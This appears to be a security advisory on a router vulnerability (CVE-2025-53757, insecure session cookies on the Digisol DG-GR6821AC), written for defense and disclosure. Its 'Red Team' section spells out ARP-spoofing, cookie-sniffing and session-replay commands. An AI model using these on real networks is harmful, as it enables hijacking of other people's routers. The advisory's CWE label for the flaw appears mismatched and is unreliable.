CVE-2025-53757

Executive Summary

CVE-2025-53757 affects the Digisol DG-GR6821AC router. The vulnerability stems from a misconfiguration of the Secure and HttpOnly flags on session cookies used by the router’s web interface. Because the router does not enforce HTTPS for administrative sessions, an attacker on the same network (or with man-in-the-middle capabilities) can intercept session cookies transmitted over unencrypted HTTP. Successful exploitation allows the attacker to hijack an authenticated session and obtain sensitive information from the device, including configuration details, credentials, and network topology data.

This vulnerability is classified as a Session Cookie Without Secure Flag (CWE-1004). The CVSS score is 7.5 (High) due to network attack vector, low complexity, no privileges required, and high confidentiality impact. No public exploit code or proof-of-concept has been released, but the attack vector is straightforward and well-understood.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level misconfiguration in an embedded device. No supply chain implications exist beyond the direct vendor product.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – attacker can be on the same LAN or perform MITM remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed to initiate capture.
• User Interaction (UI): None (N) – victim does not need to click anything.
• Scope (S): Unchanged (U) – exploitation does not cross trust boundaries.
• Confidentiality (C): High (H) – full access to session data and device configuration.
• Integrity (I): None (N) – no modification of data.
• Availability (A): None (N) – no denial of service.

Threat Level: High. The attack is trivial to execute with common tools (e.g., Wireshark, Bettercap). The lack of HTTPS enforcement means any unencrypted HTTP request to the router leaks the session cookie.

Deep Dive & Mechanics

The Digisol DG-GR6821AC router’s web interface sets session cookies (e.g., PHPSESSID or custom session_id) without the Secure flag. This flag instructs the browser to only send the cookie over HTTPS. Additionally, the HttpOnly flag is missing, allowing client-side scripts (if XSS exists) to access the cookie, though the primary attack vector is network sniffing.

Attack Flow:

1. Attacker positions themselves on the same network segment as the victim (e.g., via ARP spoofing, rogue access point, or compromised switch).
2. Victim logs into the router’s web interface (HTTP by default).
3. Attacker captures the HTTP request containing the session cookie using a packet sniffer.
4. Attacker replays the cookie in their own browser to gain authenticated access to the router’s admin panel.

Root Cause: The router’s web server configuration (likely Apache or lighttpd) does not set Set-Cookie: ...; Secure; HttpOnly. This is a common misconfiguration in embedded devices where HTTPS is not enforced.

Vulnerable vs. Patched Code

No patched firmware is available from Digisol. The vulnerable configuration is the default behavior. A hypothetical fix would involve modifying the web server configuration to add:

# Apache example
Header always edit Set-Cookie ^(.*)$ $1;Secure;HttpOnly

Or in PHP (if used):

session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

Without a vendor patch, users must manually enforce HTTPS (if supported) or apply workarounds.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Attacker machine with Kali Linux (or any Linux with bettercap/wireshark).
• Victim machine connected to the same LAN as the DG-GR6821AC router.
• Router web interface accessible via HTTP (default).

Step-by-Step Exploitation:

1. Enable IP forwarding and ARP spoofing:

   echo 1 > /proc/sys/net/ipv4/ip_forward
   bettercap -eval "set arp.spoof.targets 192.168.1.1; arp.spoof on; net.sniff on"
   

   Replace 192.168.1.1 with the router’s IP.

2. Capture HTTP traffic:

   tshark -i eth0 -Y "http.cookie" -T fields -e http.cookie -e http.host -e http.request.uri
   

3. Wait for victim to log in. The cookie will appear in the output.

4. Replay the cookie:

   curl -b "PHPSESSID=CAPTURED_VALUE" http://192.168.1.1/admin/
   

   Or use a browser extension like "EditThisCookie" to inject the captured cookie.

Expected Outcome: Full admin access to the router’s web interface.

Blue Team

Detection:

• Monitor for ARP spoofing attacks using arpwatch or IDS rules.
• Look for multiple failed login attempts followed by a successful login from a different MAC address (session hijacking indicator).
• Enable HTTPS on the router if supported (check firmware settings).

Mitigation:

• Disable HTTP access entirely; use only HTTPS.
• If HTTPS is not available, isolate the router management interface to a dedicated VLAN.
• Use VPN to access the router remotely.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to the router’s IP containing Set-Cookie without Secure or HttpOnly.
  • ARP replies with conflicting MAC-to-IP mappings (ARP spoofing).
  • Unusual number of HTTP requests to /admin/ or /login/ from different source IPs.

• Host:

  • Browser cookies for the router’s IP lacking Secure flag (check via Developer Tools > Application > Cookies).
  • Presence of packet capture tools (e.g., Wireshark, tcpdump) on the network.

• Logs:

  • Router logs showing multiple authentication attempts from different MAC addresses within a short time window.

Detection Engineering

YARA Rule

rule CVE_2025_53757_Session_Cookie_Misconfig {
    meta:
        description = "Detects HTTP responses from Digisol DG-GR6821AC router missing Secure and HttpOnly flags on session cookies"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53757"
    strings:
        $cookie = /Set-Cookie:\s*[^;]+;/ nocase
        $secure = /;\s*Secure/i
        $httponly = /;\s*HttpOnly/i
    condition:
        $cookie and not ($secure and $httponly)
}

Sigma Rule

title: Digisol DG-GR6821AC Session Cookie Without Secure Flag
id: 8a3f9c2e-1b4d-4f7a-9c6e-2d8f0a1b3c5e
status: experimental
description: Detects HTTP responses from Digisol router that set session cookies without Secure and HttpOnly flags.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        response_header|contains: 'Set-Cookie:'
    filter:
        response_header|contains|all:
            - 'Secure'
            - 'HttpOnly'
    condition: selection and not filter
falsepositives:
    - Legitimate applications that intentionally omit Secure flag on localhost
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53757 Digisol DG-GR6821AC Session Cookie Missing Secure Flag"; flow:to_client; content:"Set-Cookie"; nocase; pcre:"/Set-Cookie:\s*[^;]+;/i"; pcre:"!/;\s*Secure/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTTP access to the router’s web interface if HTTPS is available. Check under Administration > System > HTTPS.
2. Change default credentials and use a strong password.
3. Enable firewall rules to restrict management access to specific IP addresses.
4. Monitor network traffic for ARP spoofing and session hijacking attempts.

Long-Term Fix:

• Contact Digisol support for a firmware update that properly sets Secure and HttpOnly flags.
• If no patch is forthcoming, consider replacing the router with a device that enforces HTTPS by default.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the router that adds the missing cookie flags:

  location / {
      proxy_pass http://192.168.1.1;
      proxy_set_header Host $host;
      proxy_cookie_path / "/; Secure; HttpOnly";
  }
  

Valters IT